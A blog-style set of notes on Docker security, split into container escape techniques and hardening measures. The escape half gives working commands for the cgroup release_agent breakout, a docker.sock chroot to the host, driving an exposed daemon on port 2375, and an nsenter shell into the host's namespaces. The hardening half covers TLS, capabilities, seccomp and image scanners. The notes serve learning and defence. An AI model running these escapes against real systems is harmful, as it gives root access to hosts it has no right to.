2024-08-15
Container security: escapes and hardening
Containers feel like a boundary. They aren't much of one when they're configured carelessly. This is my working notes on both halves of the problem: how a badly configured container gets you onto the host, and how to configure one so it doesn't.
Container vulnerabilities
Privileged containers
Docker runs a container in one of two modes:
- User mode — interacts with the host OS through the Docker Engine.
- Privileged — interacts directly with the host OS.
If a container runs with privileged access, commands can effectively be executed
as root on the host. View a container's capabilities with capsh --print.
The classic escape abuses the Linux kernel's cgroups release-agent mechanism.
The kernel uses cgroups to manage processes, and cgroups can be managed as root
on the host — so a privileged container can mount one and point its release
handler at a script it controls. Walking through the exploit:
- Create a cgroup to work with. Because cgroups are managed as root on the host,
mount one to
/tmp/cgrpin the container. - Tell the kernel to run code on release — writing
1to/tmp/cgrp/x/notify_on_releasemakes the kernel execute something once the cgroup finishes. - Find where the container's files live on the host and store that as a variable.
- Write the location of the exploit on the host into
release_agent, so the exploit runs when the cgroup is released. - Turn the exploit into a shell on the host.
- Run a command —
cat /home/user1/flag.txt > $host_path/flag.txt— to pull the host file back into the container. - Make the exploit executable.
- Add a process to
/tmp/cgrp/x/cgroup.procs; when it's released, the contents execute.
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/exploit" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /exploit
echo "cat /home/user1/flag.txt > $host_path/flag.txt" >> /exploit
chmod a+x /exploit
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"The full explanation of why this works is in Trail of Bits' container escape post.
Escaping via an exposed Docker daemon
Docker commands run over a socket. Unix sockets use filesystem permissions, so
you have to be root or in the docker group to run Docker commands. That socket
gets mounted into a container as a docker.sock file — search for it with
find (on Ubuntu it lives under /var/run).
If you can reach the daemon, you can ask it to create a new container with the host's filesystem mounted in, and step across:
docker run -v /:/mnt --rm -it alpine chroot /mnt shThat command mounts the host filesystem to /mnt in a new container, runs it
interactively with -it, changes the root to /mnt, and drops into sh — a
shell on the host's files.
Remote code execution via an exposed daemon
Docker can also use TCP sockets for IPC, so it can be administered remotely with tools like Portainer or Jenkins. When configured that way the engine listens on a port (2375 by default), which is easy to reach and hard to secure. Find it with nmap:
nmap -sV -p 2375 <ip_address>Poke it with curl:
curl http://<ip_address>:2375/versionThen drive it with the Docker CLI's -H flag to target the remote host — ps,
images, network, exec, run all work:
docker -H tcp://<ip_address>:2375 psAbusing namespaces
Sometimes a container shares a namespace with the host so the two can
communicate. That can be abused with nsenter, which starts a process inside
another process's namespace. If the container can see the host's /sbin/init
(PID 1), you can launch a shell in its namespaces:
nsenter --target 1 --mount --uts --ipc --net /bin/bashEach flag matters:
--target 1aims at PID 1, the special system process, to gain root.--mountenters the target's mount namespace (its filesystem view).--utsshares the UTS namespace so the hostname matches — mismatched hostnames cause connection issues.--ipcenters the IPC namespace, so shared memory works.--netenters the network namespace, so you can use the host's interfaces — enough to open a stable reverse shell.
bash then runs in the same namespaces and privileges as the kernel.
Container hardening
Privileged containers have full root access. Never reach for --privileged
when a specific capability will do.
Protecting the Docker daemon
Use secure communication and authentication to keep the daemon out of reach.
SSH. Docker uses contexts — think of them as profiles you can save and switch between for different hosts. You need SSH access to the remote host and an account there with permission to run Docker.
docker context create \
--docker host=ssh://<username>@<remotehost> \
--description="Development Environment" \
development-environment-host
docker context use development-environment-hostTLS. The daemon can also be driven over HTTPS. In TLS mode it only accepts commands from devices whose certificates are signed against it. On the server:
dockerd --tlsverify --tlscacert=myca.pem --tlscert=myserver-cert.pem --tlskey=myserver-key.pem -H=0.0.0.0:2376On the client:
docker --tlsverify --tlscacert=myca.pem --tlscert=client-cert.pem --tlskey=client-key.pem -H=<SERVER_IP>:2376 infoImplementing control groups
Control groups (cgroups) are a kernel feature that restricts and prioritizes how many system resources a process can use — good for stability and for tracking usage. Docker doesn't enable limits by default; set them when starting a container:
docker run -it --cpus="1" mycontainer
docker run -it --memory="20m" mycontainerUpdate a running container, and inspect it:
docker update --memory="40m" mycontainer
docker inspect mycontainer0 means no limit has been set.Preventing over-privileged containers
Capabilities are a Linux feature that controls what a process can do at a granular level, so you can fine-tune privileges instead of handing over root. A few:
CAP_NET_BIND_SERVICE— bind to ports below 1024, which normally needs root.CAP_SYS_ADMIN— a grab-bag of admin rights: mounting filesystems, changing network settings, rebooting.CAP_SYS_RESOURCE— modify resource limits.
Rather than --privileged, drop everything and add back only what a container
needs. This gives a web server the ability to bind low ports and nothing else:
docker run -it --rm --cap-drop=ALL --cap-add=NET_BIND_SERVICE webserverCheck what a process holds with capsh --print.
Seccomp and AppArmor
Two ways to restrict what a container can do — one enforced inside the app, one by the OS.
Seccomp restricts the system calls an application can make. You write a list of rules — allow read, deny execve — which shrinks what an attacker can do while keeping the app working. A profile for a web server that can read and write files but not execute anything:
{
"defaultAction": "SCMP_ACT_ALLOW",
"architectures": [
"SCMP_ARCH_X86_64",
"SCMP_ARCH_X86",
"SCMP_ARCH_X32"
],
"syscalls": [
{ "names": [ "read", "write", "exit", "exit_group", "open", "close", "stat", "fstat", "lstat", "poll", "getdents", "munmap", "mprotect", "brk", "arch_prctl", "set_tid_address", "set_robust_list" ], "action": "SCMP_ACT_ALLOW" },
{ "names": [ "execve", "execveat" ], "action": "SCMP_ACT_ERRNO" }
]
}Apply it at runtime:
docker run --rm -it --security-opt seccomp=/path/to/profile.json mycontainerReviewing Docker images
Analyze a Dockerfile before you trust it. Dive reverse-engineers an image by inspecting what's executed and changed at each build layer, so you can see what actually goes in.
Compliance and benchmarking
- CIS Docker Benchmark — assesses compliance against the CIS Docker benchmark.
- OpenSCAP — assesses against multiple frameworks, including CIS and NIST SP 800-190.
- Docker Scout — Docker's own cloud service; lists image vulnerabilities and how to fix them.
- Grype — a fast vulnerability scanner for images and filesystems.
docker scout cves local://nginx:latest
grype imagename --scope all-layers
grype /path/to/image.tar # a filesystem exported with `docker image save`Isolation is a set of switches, not a default. Flip them on deliberately.